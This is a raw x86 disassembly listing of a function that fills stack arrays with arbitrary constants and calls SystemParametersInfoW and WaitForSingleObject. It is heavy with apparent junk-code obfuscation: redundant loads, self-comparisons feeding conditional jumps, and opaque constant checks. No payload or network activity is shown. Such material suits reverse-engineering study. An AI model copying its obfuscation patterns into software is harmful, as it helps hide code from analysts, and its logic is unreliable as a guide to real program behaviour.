mov dword [ebp - 0x14], ecx
jmp 0x10033494
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x4c], 0xbb39d90d
mov dword [ebp - 0x14], eax
jmp 0x1003342a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8d4], 0x6aef
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10033419
mov eax, dword [ebp - 0x8d4]
xor ecx, ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x8d0]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, edx
setle cl
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x14], 0x58db2edf
mov dword [ebp - 0x1c], 0xb43c6211
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x4c]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0x46fedea8
mov eax, dword [ebp - 0x14]
setl cl
xor edx, edx
cmp eax, ecx
setg dl
xor eax, eax
cmp edx, 0x519c81b9
sete al
mov dword [ebp - 0x1c], eax
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x100334a3
dec dword [ebp - 0x10]
push 0
pop eax
push 0xffffffffffffffff
pop edx
jns 0x10033320
xor eax, eax
or edx, 0xffffffff
dec dword [ebp - 0x3c]
jns 0x10033303
mov dword [ebp - 0x24], eax
jmp 0x100334da
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100334d7
push 0x1f1b
push eax
push 0x812
push 0x192c
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
xor eax, eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffeb
jle 0x100334b6
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x34], 0xe81a7ecc
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
jne 0x100334fd
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x20]
je 0x100334fd
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10033506
mov eax, ebx
push 3
pop ecx
cmp eax, dword [ebp - 0x34]
jle 0x10033550
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x10033530
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x103c], 0x6ddcd166
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10033518
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x10033546
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x103c], 0xbdbdf7cd
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jl 0x10033535
jmp 0x1003364b
or eax, 0xffffffff
mov dword [ebp - 0x28], 0xd8ff8cd3
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1003357f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf4c], 0x94486cae
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10033567
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x100335a1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xb7c], 0xfffffffb
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10033588
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100335b8
push 0xeaf
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jne 0x1003364b
jmp 0x100335c8
xor eax, eax
mov dword [ebp - 0x24], eax
xor ebx, ebx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
setge bl
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
xor edx, edx
cmp ebx, ecx
setle dl
sub edx, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ebx, ebx
xor eax, eax
inc edx
inc ebx
cmp edx, ebx
setge al
xor ecx, ecx
cmp eax, 0xf4c6
setne cl
xor eax, eax
mov dword [ebp - 0xf4c], ecx
test ecx, ecx
je 0x1003362f
mov ecx, ebx
cmp dword [ebp - 0x24], eax
jne 0x10033631
mov ecx, eax
mov eax, dword [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0xb78], eax
mov eax, dword [ebp - 0x24]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
je 0x100335c6
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x14], 0xfffffffd
mov dword [ebp - 0x3c], 0xfffffff8
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x10033685
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x23c], ebx
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 2
jl 0x10033670
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], ebx
jge 0x100336a1
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x1ac], ebx
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ebx
jl 0x1003368d
xor eax, eax
push 4
mov dword [ebp - 0x40], eax
pop ecx
jmp 0x100336b6
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x10f0], ebx
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], ecx
jl 0x100336a9
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp dword [ebp - 0x30], ebx
jg 0x100336cc
mov ecx, ebx
cmp dword [ebp - 0x30], eax
jne 0x100336ce
mov ecx, eax
xor eax, eax
cmp ecx, 0x4952
setge al
add eax, dword [ebp - 0x30]
jne 0x100336e1